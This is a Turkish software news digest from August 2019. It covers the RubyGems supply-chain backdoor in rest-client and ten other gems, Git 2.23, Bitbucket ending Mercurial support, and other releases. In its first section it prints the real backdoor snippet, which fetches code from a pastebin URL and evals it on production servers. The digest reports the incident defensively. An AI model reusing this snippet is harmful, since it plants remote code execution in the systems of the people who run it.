

Yazılım Gündemi - 6

12-25 Ağustos 2019

Eren Hatırnaz

25 Ağustos 2019

İçindekiler

1	RestClient ve diğer 10 Ruby kütüphanesinin arka kapı içerdiği ortaya çıktı	2
2	standard isimli JavaScript aracı terminal çıktısında reklam göstermeyi planlıyor	3
3	Git versiyon kontrol sisteminin 2.23 sürümü duyuruldu	5
	3.1 git checkout için yeni deneysel alternatif komutlar	5
4	Bitbucket, Mercurial desteğini sonlandırmaya hazırlanıyor	5
5	Mikrokontrolcüler için Qt kütüphanesi tanıtıldı	6
6	Etkinlik Duyurusu: Typed Properties ve dahası ile PHP 7.4	7
7	Diğer Haberler	7
8	Lisans	9

```
#include <teknoseyir.h>
int main(int argc, char *argv[]) {
    printf("Yazılım Gündemi - 6");
    printf("12-25 Ağustos 2019");
    // TODO: Sonraki gündem fonksiyonu eklenecek.
}
```

< [Önceki Gündem](#) | **12-25 Ağustos 2019** | [Sonraki Gündem](#) >
[TeknoSeyir'de Oku](#)

1 RestClient ve diğer 10 Ruby kütüphanesinin arka kapı içerdiği ortaya çıktı

Ruby kütüphanelerinin barındırıldığı [RubyGems.org](#) sitesindeki bilgileri çalınan geliştiricilerin projelerine, kurulduğu sunucuda arka kapı açan kod parçaları eklenmiş. Aynı olay strong-password isimli kütüphanenin de başına gelmişti (bkz: [Yazılım Gündemi - 1](#)). Yöntem aynı: RubyGems.org sitesindeki kullanıcı bilgilerini ele geçen hacker(lar), projeye zararlı kod parçaları eklemişler ve yeni versiyon çıkararak, kütüphaneyi kullananların zararlı kod parçalarını güncelleme ile edinmeleri sağlanmış.

```
1 def _!
2   begin
3     yield
4     rescue Exception
5   end
6 end
7
8 _!{Thread.new{loop{!{sleep 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"}
```

Şekil 1: CVE Numarası: [CVE-2019-15224](#)

Zararlı kod parçalarından bazıları kullanıcıların cookie bilgilerini çalmaya yönelikken, bazıları da sistemi kripto para madenciliği için kullanıyormuş. Daha teknik bilgiler için RestClient kütüphanesinin [şu github sayfasına](#) bakabilirsiniz. Saldırıdan etkilenen Ruby kütüphaneleri ve versiyonları ise şu şekilde:

- **rest-client**: 1.6.10, 1.6.11, 1.6.12, 1.6.13
- **cron_parser**: 0.1.4, 1.0.12, 1.0.13
- **coin_base**: 4.2.1, 4.2.2

- **blockchain_wallet**: 0.0.6, 0.0.7
- **bitcoin_vanity**: 4.3.3
- **lita_coin**: 0.0.3
- **coming-soon**: 0.2.8
- **omniauth_amazon**: 1.0.1
- **awesome-bot**: 1.18.0
- **doge-coin**: 1.0.2
- **capistrano-colors**: 0.5.5

Zararlı kod içerdikleri anlaşılan bu versiyonlar RubyGems.org ekibi tarafından geri çekilmiş fakat olay anlaşına kadar bu kütüphaneler toplam 3.584 kez indirilmiş. Siz de mutlaka projelerinizde yukarıdaki kütüphanelerin ve versiyonların olup olmadığını kontrol edin ve tabii ki projenize bağımlılık eklerken daha dikkatli olun.

2 standard isimli JavaScript aracı terminal çıktısında **reklam göstermeyi planlıyor**

GitHub'da 21K yıldızla sahip, başka bir çok proje tarafından da kullanılan bu araç, fonlama konusunda yaşadığı sıkıntılardan ötürü terminal çıktısına açık kaynağı destekleyen bir firmadan reklam almayı planlıyor. Yani projenize **standard** aracını eklemek için **npm install standard** yazdığınızda aracın kurulumu sonrasında terminalde ve muhtemelen log dosyasında bir reklam göreceğiz. Açıkcası ben de şaşırardım fakat projenin github sayfasındaki issue altında yazılanları görünce biraz da olsa hak verdim.

```
$ npm install standard  
REKLAMA  
REKLAM VERMEK  
ZOR
```

Hepimiz açık kaynağın nimetlerinden fazlasıyla faydalanıyoruz fakat açık kaynak camiasına katkı sağlama konusunda ciddi eksikliklerimiz var. Girdiğimiz açık kaynak projelerin sitelerindeki "Bağış Yap" butonlarını görmezden geliyor, hatta sitedeki reklamları bile engelliyoruz. Üstüne bir de karşılaştığımız sorunları ya da hataları çözmek için az da olsa uğraşmak yerine direkt issue açıp ya da mail gönderip, 3-4 gün içerisinde sorumuzun çözülmesini bekliyoruz. Lafa gelince hepimiz ortamlarda açık kaynağın faydalarından, nimetlerinden, ne kadar süper bir şey olduğundan bahsettik; fakat, konu maddi ve/veya manevi destek olmaya gelince ne elimizi cebimize attık, ne de klavyemize dokunduk.

Terminal çıktısına reklam almak belki de doğru bir yöntem değil, fakat, şu çok açık ortada ki: Geliştirici camiası olarak açık kaynak ile ilgili algılarımızı değiştirme zamanımız geldi. Açık kaynak camiasından aldığımızın ne kadarını geri verdiğimizizin/verebildiğimiz sorusunu kendimize sormamız gerekiyor. Açık kaynak araçları/kütüphaneleri kullanarak projeler yapıp bir güzel paramızı kazanıyoruz ama hiç birimiz, "kardeşim ben senin projeni kullanarak para kazandım, al bu da benden sana bu aracı geliştirmeye devam edebilmen için xx \$/€" ya da "#504 numaralı issue sayfasındaki sorunu çözdüm, inceleyip, kodlarımı kabul edebilir misin?" demiyoruz. Ohh, ne rahat!...

Bu konuda siz ne düşünüyorsunuz? Kullandığımız bir araç/kütüphane bu şekilde reklam alsın -ki şu an almayı planlıyor- tepkiniz ne olurdu? Yorum kısmında konuşalım.

3 Git versiyon kontrol sisteminin 2.23 sürümü duyuruldu

Hepimizin her gün kullandığı popüler versiyon kontrol sistemi git 2.23 sürümü ile yenilikler ve hata gidermelerini sunuyor. Öne çıkan bazı özellikler bu şekilde:

3.1 git checkout için yeni deneysel alternatif komutlar

Bildiğimiz gibi git checkout komutu hem dallar arasında geçiş yapmak için hem de dosyaları son commit'deki hallerine resetlemek için kullanılabilir. Üstelik git checkout --branch olmayan-dal gibi bir kullanımla da olmayan bir dalı yaratıp, ona geçiş yapma özelliği de var. İki farklı işlevin bir komuta toplanmasından dolayı benim de zaman zaman garipsediğim bir komut. Bu sürümde bu işlevleri ayıran deneysel iki komut eklenmiş.

- git switch: Dallar arasında geçiş yapmak, yeni dal oluşturup ona geçmek için kullanılacak. [Dokümantasyon](#). Örnek:

```
$ git switch yeni-ozellik
```

```
Switched to branch 'yeni-ozellik'  
Your branch is up to date with 'origin/yeni-ozellik'
```

- git restore: Verilen dosyası son commit'deki haline geri döndürmek için kullanılacak. [Dokümantasyon](#). Örnek:

```
$ git restore program.c
```

Diğer özellikler ve değişiklikler için konu başlığındaki bağlantıya tıklayabilir ya da GitHub Blog'da yayınlanan [bu yazıyı](#) okuyabilirsiniz.

4 Bitbucket, Mercurial desteğini sonlandırmaya hazırlanıyor

Bitbucket, GitHub gibi bir uzak depo sunucu hizmeti veren bir site. GitHub'dan farklı olarak sadece git ile değil, alternatif bir versiyon kontrol sistemi olan mercurial ile de çalışmayı destekliyordu. Fakat artık Bitbucket'da bu desteğini sonlandırmaya karar vermiş ve planlar yapılmış. *1 Şubat 2020*

itibariyle kullanıcılar **yeni Mercurial deposu** oluşturulamayacak; *1 Haziran 2020* itibariyle de Bitbucket'de **Mercurial desteği tamamen kalkacak ve Mercurial depoları da sunucudan silinecek**. Desteğin kalkmasının nedenini söylemeye gerek yok sanırım. Artık hepimiz her yeni projede varsayılan olarak git kullanmaya başladık. Açıkcası ben Mercurial hiç kullanmadım, hatta öyle bir depo da hiç görmedim, bu yüzden nasıl bir sistem olduğu konusunda pek fikrim yok.

Bu haberi duyan, %100 açık kaynak ve özgür yazılım olarak geliştirilen Sourcehut da bir blog yazısı yayınlayarak, Bitbucket'dan Mercurial kullanıcılarını [kendi sitesine davet etti](#).

5 Mikrokontrolcüler için Qt kütüphanesi tanıtıldı

[YouTube videosu](#) | [Ürün tanıtım sayfası](#)

C++ deneyimim konsola "Merhaba dünya" yazdırmaktan öteye gitmediği halde bu gelişme beni bile heyecanlandırdı. Özellikle videodaki gibi düşük sistem gereksinimleri ile çalışan cihazlarda akıcı ve güzel tasarımlı ekranlar hazırlayabilecekseniz, mutlaka bir ara Qt kütüphanesini incelemem gerekecek.

Teknik detayları henüz açık değil fakat konuyla ilgili Qt takımı, 4 Eylül tarihinde internet üzerinden soru&cevap kısmının da olacağı bir webinar düzenleyecek. Sanırım webinar boyunca çok daha teknik kavramları anlatacaklardır. [Buradan](#) kendinize uygun saatteki webinere kayıt olabilirsiniz.

6 Etkinlik Duyurusu: Typed Properties ve dahası ile PHP 7.4

İstanbul PHP grubunun organize ettiği bu etkinlikte PHP 7.4 ile birlikte gelecek özellikler anlatılacak. Birkaç özelliği **Yazılım Gündemi - 3** yazısında ben de anlatmıştım fakat PHP geliştirmeye ilgilenen ve İstanbul'da olan arkadaşların mutlaka bu etkinliğe katılmasını tavsiye ederim, daha faydalı olacaktır.

7 Diğer Haberler

- Netflix güvenlik takımı, [HTTP/2 protokolünün de DoS saldırına karşı açık olduğunu](#) ortaya çıkardı.
- [WebKit Takip Önleme Yönergesi](#) yayımlandı.
- Google Cloud, 1 Ocak 2020'den itibaren harici IP adreslerinden [ücret almaya başlayacak](#).
- GitLab, [12.2 sürümü](#) yayımlandı.
- .NET Core takımı, tek [depo \(mono repo\)](#) yapısına geçmeyi planlıyor
- GitHub, artık [Web Authentication](#) destekliyor.
- GitHub Package Registry hizmeti [kısıtlı açık beta sürecine girdi](#).

- React için tarayıcı üzerinde çalışan yeni geliştirici aracı duyuruldu: [React Developer Tools](#).
- Go programlama dilinin [1.13 RC1 sürümü](#) yayınlandı.
- Rust programlama dilinin [1.37.0 stabil sürümü](#) yayınlandı.
- Crystal programlama dilinin [0.31.1 sürümü](#) duyuruldu.
- Futhark programlama dilinin [0.12.1 sürümü](#) duyuruldu.
- .NET Framework 4.8 [herkes için erişilebilir oldu](#).
- Rails, [6.0 stabil sürümü](#) yayınlandı.
- Slim PHP uygulama çatısı (framework) [4.2.0 sürümünü](#) duyurdu.
- Apache Flink [1.9.0 sürümü](#) çıktı.
- Eclipse organizasyonu, Jakarta EE 8 ile ilgili "[dünü, bugünü ve yarını](#)" konulu yazı yayınlandı.
- Boost isimli taşınabilir C++ kütüphaneleri içeren proje [1.71.0 sürümünü](#) duyurdu.
- Yeni bir platformlar-arası JavaScript ile masaüstü uygulama geliştirme aracı [yayınlandı](#): [NodeGUI](#), [GitHub Deposu](#).
- Web elemanlarına sürükleyip-bırakma, yeniden boyutlandırma vb. özellikler kazandıran [moveable](#) isimli JavaScript kütüphanesi [0.7.4 sürümünü](#) duyurdu.
- Quark isimli platformlar-arası masaüstü uygulaması geliştirmeye yarayan JavaScript kütüphanesi [v0.5.8 sürümünü](#) duyurdu.
- Rust ekosistemi grafiksel kullanıcı arayüzleri (GUI) bakımından incelendi: [Rust GUI ekosistem overview](#).
- Rust ile yazılmış yeni bir shell [duyuruldu](#): [nushell](#).
- Kriptopara cüzdanları oluşturmak için kullanılan Rust kütüphanesi [wagyu](#), [0.6.0 sürümünü](#) duyurdu.
- [SASM](#), ilk sürümü [v1.0](#) duyuruldu.
- [Flecs](#), ilk sürümü [v1.0](#) duyuruldu.

- Linux kernel geliştirmeleri için DevOps yapısı sunan [kdevops](#) isimli proje [v1.7.1 sürümünü duyurdu](#).
- 2 boyutlu platform oyunu [Squally](#), açık kaynak hale geldi. [GitHub Deposu](#).
- Akademik Çalışmalar:
 - StackOverflow'da arama yapmanın yeni yolu: [CROKAGE – the Crowd Knowledge Answer Generator](#).
 - Açık kaynak resim karşılaştırma kütüphanesi: [Douglas-Quaid](#), [GitHub Deposu](#).
 - Facebook Yapay Zeka Takımı, Doğal Dil İşleme için [yeni bir yaklaşım](#) geliştirdi.

8 Lisans

Yazılım Gündemi - 6 yazısı [Eren Hatırnaz](#) tarafından [Creative Commons Atıf-GayriTicari-AynıLisanslaPaylaş 4.0 Uluslararası Lisansı](#) (CC BY-NC-SA 4.0) ile lisanslanmıştır.